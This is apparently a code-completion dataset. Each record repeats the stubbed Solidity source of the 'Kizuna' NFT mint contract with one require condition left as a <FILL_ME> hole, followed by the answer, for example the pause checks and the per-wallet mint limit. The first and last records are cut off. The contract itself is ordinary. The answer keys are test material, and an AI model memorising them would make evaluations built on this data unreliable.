keccak256(abi.encodePacked(msg.sender, _maxAmountForAddress)); require(MerkleProof.verify(_merkleProof, freeMintMerkleRoot, _node), "Kizuna: Invalid proof"); unchecked { // Increase the amount minted by this address freeAddressesMintedAmount[msg.sender] += _amountToMint; freeMintSupply -= _amountToMint; } // Prevent an address from minting more than its allocation require(<FILL_ME>) _mint(msg.sender, _amountToMint); } function mint( uint256 _amountToMint ) external payable doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(publicPrice, _amountToMint) { } function teamMint(address _to, uint256 _amountToMint) external doesNotExceedSupply(_amountToMint) onlyOwner { } // ==================================== // PRICES // ==================================== function setPublicPrice(uint256 _price) external onlyOwner { } function setWhitelistPrice(uint256 _price) external onlyOwner { } // ==================================== // METADATA // ==================================== function freezeMetadata() external onlyOwner { } /// @dev See {IERC721Metadata-tokenURI}. function tokenURI(uint256 _tokenId) public view override returns (string memory) { } function reveal(string calldata _baseUri) external onlyOwner { } // ==================================== // MISC // ==================================== function withdrawBalance() external onlyOwner { } function withdrawBalanceToOwner() external onlyOwner { } /// @notice Reduce the max supply /// @param _newMaxSupply The new max supply, cannot be higher than the current max supply function reduceMaxSupply(uint256 _newMaxSupply) external onlyOwner { } /// @notice Change the royalty parameters /// @param _royaltyReceiver The address that will receive the royalties, it cannot be the zero address /// @param _feeNumerator How much of a sale proceeds will go to the _royaltyReceiver address (expressed out of 10000, i.e: 250 is 2.5%) function changeRoyaltySettings(address _royaltyReceiver, uint96 _feeNumerator) external onlyOwner { } /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } // ==================================== // OPERATOR FILTERER OVERRIDES // ==================================== function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function setOperatorFilteringEnabled(bool value) public onlyOwner { } function _operatorFilteringEnabled() internal view override returns (bool) { } function _isPriorityOperator(address operator) internal pure override returns (bool) { } // ==================================== // MODIFIERS // ==================================== modifier doesNotExceedSupply(uint256 _amountToMint) { } modifier doesNotExceedReservedSupply(uint256 _amountToMint) { } modifier hasEnoughEther(uint256 _price, uint256 _amountToMint) { } }
freeAddressesMintedAmount[msg.sender]<=_maxAmountForAddress,"Kizuna: Mint limit for address reached"
192,722
freeAddressesMintedAmount[msg.sender]<=_maxAmountForAddress
"Kizuna: Minting is paused"
/* KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUU UUUUUUUU NNNNNNNN NNNNNNNN AAA K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N:::::::N N::::::N A:::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N::::::::N N::::::N A:::::A K:::::::K K::::::K II::::::II Z:::ZZZZZZZZ:::::Z UU:::::U U:::::UU N:::::::::N N::::::N A:::::::A KK::::::K K:::::KKK I::::I ZZZZZ Z:::::Z U:::::U U:::::U N::::::::::N N::::::N A:::::::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::::::N N::::::N A:::::A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N:::::::N A:::::A A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N:::::::::::N A:::::AAAAAAAAA:::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::::::::N A:::::::::::::::::::::A KK::::::K K:::::KKK I::::I ZZZ:::::Z ZZZZZ U::::::U U::::::U N::::::N N:::::::::N A:::::AAAAAAAAAAAAA:::::A K:::::::K K::::::K II::::::II Z::::::ZZZZZZZZ:::Z U:::::::UUU:::::::U N::::::N N::::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::::::UU N::::::N N:::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::UU N::::::N N::::::N A:::::A A:::::A KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUUU NNNNNNNN NNNNNNN AAAAAAA AAAAAAA */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "closedsea/src/OperatorFilterer.sol"; import "./MerkleRootManager.sol"; /** * @author KirienzoEth for Kizuna * @title Contract for the Kizuna NFTs */ contract Kizuna is ERC721A, ERC2981, Ownable, MerkleRootManager, OperatorFilterer { using Strings for uint256; uint256 public maxSupply; address public treasuryWallet; bool public operatorFilteringEnabled; // ==================================== // METADATA // ==================================== string public baseURI; /// @notice if false, all tokens' metadata will be `baseURI`, otherwise it will depend on the token ID bool public isRevealed; /// @notice if true, the metadata cannot be changed anymore bool public isMetadataFrozen; // ==================================== // PUBLIC SALE // ==================================== bool public isPublicMintPaused = true; uint256 public publicPrice = 0.04 ether; /// @notice How many NFTs a wallet can mint during the public sale uint256 public mintLimitPerWallet = 3; /// @notice How many NFTs needs to be reserved for the free mint during the public sale uint256 public freeMintSupply; /// @notice How many NFTs an address minted during the public mint phase mapping(address => uint256) public publicMintAddressesMintedAmount; // ==================================== // WHITELIST AND FREE MINT // ==================================== bool public isWhitelistMintPhase1Paused = true; bool public isWhitelistMintPhase2Paused = true; bool public isFreeMintPaused = true; uint256 public whitelistPrice = 0.025 ether; /// @notice How many NFTs an address minted during the whitelist mint phase mapping(address => uint256) public whitelistAddressesMintedAmount; /// @notice How many NFTs an address minted during the free mint phase mapping(address => uint256) public freeAddressesMintedAmount; // ==================================== // EVENTS // ==================================== event MetadataFrozen(); event PauseForWhitelistMintToggled(bool isPaused); event PauseForFreeMintToggled(bool isPaused); event PauseForPublicMintToggled(bool isPaused); event PublicPriceChanged(uint256 newPrice); event WhitelistPriceChanged(uint256 newPrice); event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId); constructor( uint256 _maxSupply, uint256 _reservedSupply, uint256 _freeMintSupply, address _treasuryWallet, string memory _initialURI ) ERC721A("Kizuna", "KZN") { } // ==================================== // (UN)PAUSE MINTS // ==================================== function togglePauseForWhitelistMintPhase1() external onlyOwner { } function togglePauseForWhitelistMintPhase2() external onlyOwner { } function togglePauseForFreeMint() external onlyOwner { } function togglePauseForPublicMint() external onlyOwner { } // ==================================== // MINTS // ==================================== function _whitelistMint( uint256 _amountToMint, uint256 _maxAmountForAddress, uint256 _price ) private doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(_price, _amountToMint) { } function whitelistMintPhase1( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function whitelistMintPhase2( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function freeMint( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external doesNotExceedSupply(_amountToMint) { } function mint( uint256 _amountToMint ) external payable doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(publicPrice, _amountToMint) { require(<FILL_ME>) // Prevent an address from minting more than its allocation require( publicMintAddressesMintedAmount[msg.sender] + _amountToMint <= mintLimitPerWallet, "Kizuna: Mint limit for address reached" ); // Increase the amount minted by this address publicMintAddressesMintedAmount[msg.sender] += _amountToMint; _mint(msg.sender, _amountToMint); } function teamMint(address _to, uint256 _amountToMint) external doesNotExceedSupply(_amountToMint) onlyOwner { } // ==================================== // PRICES // ==================================== function setPublicPrice(uint256 _price) external onlyOwner { } function setWhitelistPrice(uint256 _price) external onlyOwner { } // ==================================== // METADATA // ==================================== function freezeMetadata() external onlyOwner { } /// @dev See {IERC721Metadata-tokenURI}. function tokenURI(uint256 _tokenId) public view override returns (string memory) { } function reveal(string calldata _baseUri) external onlyOwner { } // ==================================== // MISC // ==================================== function withdrawBalance() external onlyOwner { } function withdrawBalanceToOwner() external onlyOwner { } /// @notice Reduce the max supply /// @param _newMaxSupply The new max supply, cannot be higher than the current max supply function reduceMaxSupply(uint256 _newMaxSupply) external onlyOwner { } /// @notice Change the royalty parameters /// @param _royaltyReceiver The address that will receive the royalties, it cannot be the zero address /// @param _feeNumerator How much of a sale proceeds will go to the _royaltyReceiver address (expressed out of 10000, i.e: 250 is 2.5%) function changeRoyaltySettings(address _royaltyReceiver, uint96 _feeNumerator) external onlyOwner { } /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } // ==================================== // OPERATOR FILTERER OVERRIDES // ==================================== function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function setOperatorFilteringEnabled(bool value) public onlyOwner { } function _operatorFilteringEnabled() internal view override returns (bool) { } function _isPriorityOperator(address operator) internal pure override returns (bool) { } // ==================================== // MODIFIERS // ==================================== modifier doesNotExceedSupply(uint256 _amountToMint) { } modifier doesNotExceedReservedSupply(uint256 _amountToMint) { } modifier hasEnoughEther(uint256 _price, uint256 _amountToMint) { } }
!isPublicMintPaused,"Kizuna: Minting is paused"
192,722
!isPublicMintPaused
"Kizuna: Mint limit for address reached"
/* KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUU UUUUUUUU NNNNNNNN NNNNNNNN AAA K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N:::::::N N::::::N A:::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N::::::::N N::::::N A:::::A K:::::::K K::::::K II::::::II Z:::ZZZZZZZZ:::::Z UU:::::U U:::::UU N:::::::::N N::::::N A:::::::A KK::::::K K:::::KKK I::::I ZZZZZ Z:::::Z U:::::U U:::::U N::::::::::N N::::::N A:::::::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::::::N N::::::N A:::::A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N:::::::N A:::::A A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N:::::::::::N A:::::AAAAAAAAA:::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::::::::N A:::::::::::::::::::::A KK::::::K K:::::KKK I::::I ZZZ:::::Z ZZZZZ U::::::U U::::::U N::::::N N:::::::::N A:::::AAAAAAAAAAAAA:::::A K:::::::K K::::::K II::::::II Z::::::ZZZZZZZZ:::Z U:::::::UUU:::::::U N::::::N N::::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::::::UU N::::::N N:::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::UU N::::::N N::::::N A:::::A A:::::A KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUUU NNNNNNNN NNNNNNN AAAAAAA AAAAAAA */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "closedsea/src/OperatorFilterer.sol"; import "./MerkleRootManager.sol"; /** * @author KirienzoEth for Kizuna * @title Contract for the Kizuna NFTs */ contract Kizuna is ERC721A, ERC2981, Ownable, MerkleRootManager, OperatorFilterer { using Strings for uint256; uint256 public maxSupply; address public treasuryWallet; bool public operatorFilteringEnabled; // ==================================== // METADATA // ==================================== string public baseURI; /// @notice if false, all tokens' metadata will be `baseURI`, otherwise it will depend on the token ID bool public isRevealed; /// @notice if true, the metadata cannot be changed anymore bool public isMetadataFrozen; // ==================================== // PUBLIC SALE // ==================================== bool public isPublicMintPaused = true; uint256 public publicPrice = 0.04 ether; /// @notice How many NFTs a wallet can mint during the public sale uint256 public mintLimitPerWallet = 3; /// @notice How many NFTs needs to be reserved for the free mint during the public sale uint256 public freeMintSupply; /// @notice How many NFTs an address minted during the public mint phase mapping(address => uint256) public publicMintAddressesMintedAmount; // ==================================== // WHITELIST AND FREE MINT // ==================================== bool public isWhitelistMintPhase1Paused = true; bool public isWhitelistMintPhase2Paused = true; bool public isFreeMintPaused = true; uint256 public whitelistPrice = 0.025 ether; /// @notice How many NFTs an address minted during the whitelist mint phase mapping(address => uint256) public whitelistAddressesMintedAmount; /// @notice How many NFTs an address minted during the free mint phase mapping(address => uint256) public freeAddressesMintedAmount; // ==================================== // EVENTS // ==================================== event MetadataFrozen(); event PauseForWhitelistMintToggled(bool isPaused); event PauseForFreeMintToggled(bool isPaused); event PauseForPublicMintToggled(bool isPaused); event PublicPriceChanged(uint256 newPrice); event WhitelistPriceChanged(uint256 newPrice); event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId); constructor( uint256 _maxSupply, uint256 _reservedSupply, uint256 _freeMintSupply, address _treasuryWallet, string memory _initialURI ) ERC721A("Kizuna", "KZN") { } // ==================================== // (UN)PAUSE MINTS // ==================================== function togglePauseForWhitelistMintPhase1() external onlyOwner { } function togglePauseForWhitelistMintPhase2() external onlyOwner { } function togglePauseForFreeMint() external onlyOwner { } function togglePauseForPublicMint() external onlyOwner { } // ==================================== // MINTS // ==================================== function _whitelistMint( uint256 _amountToMint, uint256 _maxAmountForAddress, uint256 _price ) private doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(_price, _amountToMint) { } function whitelistMintPhase1( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function whitelistMintPhase2( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function freeMint( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external doesNotExceedSupply(_amountToMint) { } function mint( uint256 _amountToMint ) external payable doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(publicPrice, _amountToMint) { require(!isPublicMintPaused, "Kizuna: Minting is paused"); // Prevent an address from minting more than its allocation require(<FILL_ME>) // Increase the amount minted by this address publicMintAddressesMintedAmount[msg.sender] += _amountToMint; _mint(msg.sender, _amountToMint); } function teamMint(address _to, uint256 _amountToMint) external doesNotExceedSupply(_amountToMint) onlyOwner { } // ==================================== // PRICES // ==================================== function setPublicPrice(uint256 _price) external onlyOwner { } function setWhitelistPrice(uint256 _price) external onlyOwner { } // ==================================== // METADATA // ==================================== function freezeMetadata() external onlyOwner { } /// @dev See {IERC721Metadata-tokenURI}. function tokenURI(uint256 _tokenId) public view override returns (string memory) { } function reveal(string calldata _baseUri) external onlyOwner { } // ==================================== // MISC // ==================================== function withdrawBalance() external onlyOwner { } function withdrawBalanceToOwner() external onlyOwner { } /// @notice Reduce the max supply /// @param _newMaxSupply The new max supply, cannot be higher than the current max supply function reduceMaxSupply(uint256 _newMaxSupply) external onlyOwner { } /// @notice Change the royalty parameters /// @param _royaltyReceiver The address that will receive the royalties, it cannot be the zero address /// @param _feeNumerator How much of a sale proceeds will go to the _royaltyReceiver address (expressed out of 10000, i.e: 250 is 2.5%) function changeRoyaltySettings(address _royaltyReceiver, uint96 _feeNumerator) external onlyOwner { } /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } // ==================================== // OPERATOR FILTERER OVERRIDES // ==================================== function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function setOperatorFilteringEnabled(bool value) public onlyOwner { } function _operatorFilteringEnabled() internal view override returns (bool) { } function _isPriorityOperator(address operator) internal pure override returns (bool) { } // ==================================== // MODIFIERS // ==================================== modifier doesNotExceedSupply(uint256 _amountToMint) { } modifier doesNotExceedReservedSupply(uint256 _amountToMint) { } modifier hasEnoughEther(uint256 _price, uint256 _amountToMint) { } }
publicMintAddressesMintedAmount[msg.sender]+_amountToMint<=mintLimitPerWallet,"Kizuna: Mint limit for address reached"
192,722
publicMintAddressesMintedAmount[msg.sender]+_amountToMint<=mintLimitPerWallet
"Kizuna: Metadata is frozen"
/* KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUU UUUUUUUU NNNNNNNN NNNNNNNN AAA K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N:::::::N N::::::N A:::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N::::::::N N::::::N A:::::A K:::::::K K::::::K II::::::II Z:::ZZZZZZZZ:::::Z UU:::::U U:::::UU N:::::::::N N::::::N A:::::::A KK::::::K K:::::KKK I::::I ZZZZZ Z:::::Z U:::::U U:::::U N::::::::::N N::::::N A:::::::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::::::N N::::::N A:::::A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N:::::::N A:::::A A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N:::::::::::N A:::::AAAAAAAAA:::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::::::::N A:::::::::::::::::::::A KK::::::K K:::::KKK I::::I ZZZ:::::Z ZZZZZ U::::::U U::::::U N::::::N N:::::::::N A:::::AAAAAAAAAAAAA:::::A K:::::::K K::::::K II::::::II Z::::::ZZZZZZZZ:::Z U:::::::UUU:::::::U N::::::N N::::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::::::UU N::::::N N:::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::UU N::::::N N::::::N A:::::A A:::::A KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUUU NNNNNNNN NNNNNNN AAAAAAA AAAAAAA */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "closedsea/src/OperatorFilterer.sol"; import "./MerkleRootManager.sol"; /** * @author KirienzoEth for Kizuna * @title Contract for the Kizuna NFTs */ contract Kizuna is ERC721A, ERC2981, Ownable, MerkleRootManager, OperatorFilterer { using Strings for uint256; uint256 public maxSupply; address public treasuryWallet; bool public operatorFilteringEnabled; // ==================================== // METADATA // ==================================== string public baseURI; /// @notice if false, all tokens' metadata will be `baseURI`, otherwise it will depend on the token ID bool public isRevealed; /// @notice if true, the metadata cannot be changed anymore bool public isMetadataFrozen; // ==================================== // PUBLIC SALE // ==================================== bool public isPublicMintPaused = true; uint256 public publicPrice = 0.04 ether; /// @notice How many NFTs a wallet can mint during the public sale uint256 public mintLimitPerWallet = 3; /// @notice How many NFTs needs to be reserved for the free mint during the public sale uint256 public freeMintSupply; /// @notice How many NFTs an address minted during the public mint phase mapping(address => uint256) public publicMintAddressesMintedAmount; // ==================================== // WHITELIST AND FREE MINT // ==================================== bool public isWhitelistMintPhase1Paused = true; bool public isWhitelistMintPhase2Paused = true; bool public isFreeMintPaused = true; uint256 public whitelistPrice = 0.025 ether; /// @notice How many NFTs an address minted during the whitelist mint phase mapping(address => uint256) public whitelistAddressesMintedAmount; /// @notice How many NFTs an address minted during the free mint phase mapping(address => uint256) public freeAddressesMintedAmount; // ==================================== // EVENTS // ==================================== event MetadataFrozen(); event PauseForWhitelistMintToggled(bool isPaused); event PauseForFreeMintToggled(bool isPaused); event PauseForPublicMintToggled(bool isPaused); event PublicPriceChanged(uint256 newPrice); event WhitelistPriceChanged(uint256 newPrice); event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId); constructor( uint256 _maxSupply, uint256 _reservedSupply, uint256 _freeMintSupply, address _treasuryWallet, string memory _initialURI ) ERC721A("Kizuna", "KZN") { } // ==================================== // (UN)PAUSE MINTS // ==================================== function togglePauseForWhitelistMintPhase1() external onlyOwner { } function togglePauseForWhitelistMintPhase2() external onlyOwner { } function togglePauseForFreeMint() external onlyOwner { } function togglePauseForPublicMint() external onlyOwner { } // ==================================== // MINTS // ==================================== function _whitelistMint( uint256 _amountToMint, uint256 _maxAmountForAddress, uint256 _price ) private doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(_price, _amountToMint) { } function whitelistMintPhase1( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function whitelistMintPhase2( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function freeMint( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external doesNotExceedSupply(_amountToMint) { } function mint( uint256 _amountToMint ) external payable doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(publicPrice, _amountToMint) { } function teamMint(address _to, uint256 _amountToMint) external doesNotExceedSupply(_amountToMint) onlyOwner { } // ==================================== // PRICES // ==================================== function setPublicPrice(uint256 _price) external onlyOwner { } function setWhitelistPrice(uint256 _price) external onlyOwner { } // ==================================== // METADATA // ==================================== function freezeMetadata() external onlyOwner { } /// @dev See {IERC721Metadata-tokenURI}. function tokenURI(uint256 _tokenId) public view override returns (string memory) { } function reveal(string calldata _baseUri) external onlyOwner { require(<FILL_ME>) baseURI = _baseUri; isRevealed = true; emit BatchMetadataUpdate(0, type(uint256).max); } // ==================================== // MISC // ==================================== function withdrawBalance() external onlyOwner { } function withdrawBalanceToOwner() external onlyOwner { } /// @notice Reduce the max supply /// @param _newMaxSupply The new max supply, cannot be higher than the current max supply function reduceMaxSupply(uint256 _newMaxSupply) external onlyOwner { } /// @notice Change the royalty parameters /// @param _royaltyReceiver The address that will receive the royalties, it cannot be the zero address /// @param _feeNumerator How much of a sale proceeds will go to the _royaltyReceiver address (expressed out of 10000, i.e: 250 is 2.5%) function changeRoyaltySettings(address _royaltyReceiver, uint96 _feeNumerator) external onlyOwner { } /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } // ==================================== // OPERATOR FILTERER OVERRIDES // ==================================== function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function setOperatorFilteringEnabled(bool value) public onlyOwner { } function _operatorFilteringEnabled() internal view override returns (bool) { } function _isPriorityOperator(address operator) internal pure override returns (bool) { } // ==================================== // MODIFIERS // ==================================== modifier doesNotExceedSupply(uint256 _amountToMint) { } modifier doesNotExceedReservedSupply(uint256 _amountToMint) { } modifier hasEnoughEther(uint256 _price, uint256 _amountToMint) { } }
!isMetadataFrozen,"Kizuna: Metadata is frozen"
192,722
!isMetadataFrozen
"Kizuna: Exceeds max supply"
/* KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUU UUUUUUUU NNNNNNNN NNNNNNNN AAA K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N:::::::N N::::::N A:::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N::::::::N N::::::N A:::::A K:::::::K K::::::K II::::::II Z:::ZZZZZZZZ:::::Z UU:::::U U:::::UU N:::::::::N N::::::N A:::::::A KK::::::K K:::::KKK I::::I ZZZZZ Z:::::Z U:::::U U:::::U N::::::::::N N::::::N A:::::::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::::::N N::::::N A:::::A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N:::::::N A:::::A A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N:::::::::::N A:::::AAAAAAAAA:::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::::::::N A:::::::::::::::::::::A KK::::::K K:::::KKK I::::I ZZZ:::::Z ZZZZZ U::::::U U::::::U N::::::N N:::::::::N A:::::AAAAAAAAAAAAA:::::A K:::::::K K::::::K II::::::II Z::::::ZZZZZZZZ:::Z U:::::::UUU:::::::U N::::::N N::::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::::::UU N::::::N N:::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::UU N::::::N N::::::N A:::::A A:::::A KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUUU NNNNNNNN NNNNNNN AAAAAAA AAAAAAA */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "closedsea/src/OperatorFilterer.sol"; import "./MerkleRootManager.sol"; /** * @author KirienzoEth for Kizuna * @title Contract for the Kizuna NFTs */ contract Kizuna is ERC721A, ERC2981, Ownable, MerkleRootManager, OperatorFilterer { using Strings for uint256; uint256 public maxSupply; address public treasuryWallet; bool public operatorFilteringEnabled; // ==================================== // METADATA // ==================================== string public baseURI; /// @notice if false, all tokens' metadata will be `baseURI`, otherwise it will depend on the token ID bool public isRevealed; /// @notice if true, the metadata cannot be changed anymore bool public isMetadataFrozen; // ==================================== // PUBLIC SALE // ==================================== bool public isPublicMintPaused = true; uint256 public publicPrice = 0.04 ether; /// @notice How many NFTs a wallet can mint during the public sale uint256 public mintLimitPerWallet = 3; /// @notice How many NFTs needs to be reserved for the free mint during the public sale uint256 public freeMintSupply; /// @notice How many NFTs an address minted during the public mint phase mapping(address => uint256) public publicMintAddressesMintedAmount; // ==================================== // WHITELIST AND FREE MINT // ==================================== bool public isWhitelistMintPhase1Paused = true; bool public isWhitelistMintPhase2Paused = true; bool public isFreeMintPaused = true; uint256 public whitelistPrice = 0.025 ether; /// @notice How many NFTs an address minted during the whitelist mint phase mapping(address => uint256) public whitelistAddressesMintedAmount; /// @notice How many NFTs an address minted during the free mint phase mapping(address => uint256) public freeAddressesMintedAmount; // ==================================== // EVENTS // ==================================== event MetadataFrozen(); event PauseForWhitelistMintToggled(bool isPaused); event PauseForFreeMintToggled(bool isPaused); event PauseForPublicMintToggled(bool isPaused); event PublicPriceChanged(uint256 newPrice); event WhitelistPriceChanged(uint256 newPrice); event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId); constructor( uint256 _maxSupply, uint256 _reservedSupply, uint256 _freeMintSupply, address _treasuryWallet, string memory _initialURI ) ERC721A("Kizuna", "KZN") { } // ==================================== // (UN)PAUSE MINTS // ==================================== function togglePauseForWhitelistMintPhase1() external onlyOwner { } function togglePauseForWhitelistMintPhase2() external onlyOwner { } function togglePauseForFreeMint() external onlyOwner { } function togglePauseForPublicMint() external onlyOwner { } // ==================================== // MINTS // ==================================== function _whitelistMint( uint256 _amountToMint, uint256 _maxAmountForAddress, uint256 _price ) private doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(_price, _amountToMint) { } function whitelistMintPhase1( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function whitelistMintPhase2( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function freeMint( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external doesNotExceedSupply(_amountToMint) { } function mint( uint256 _amountToMint ) external payable doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(publicPrice, _amountToMint) { } function teamMint(address _to, uint256 _amountToMint) external 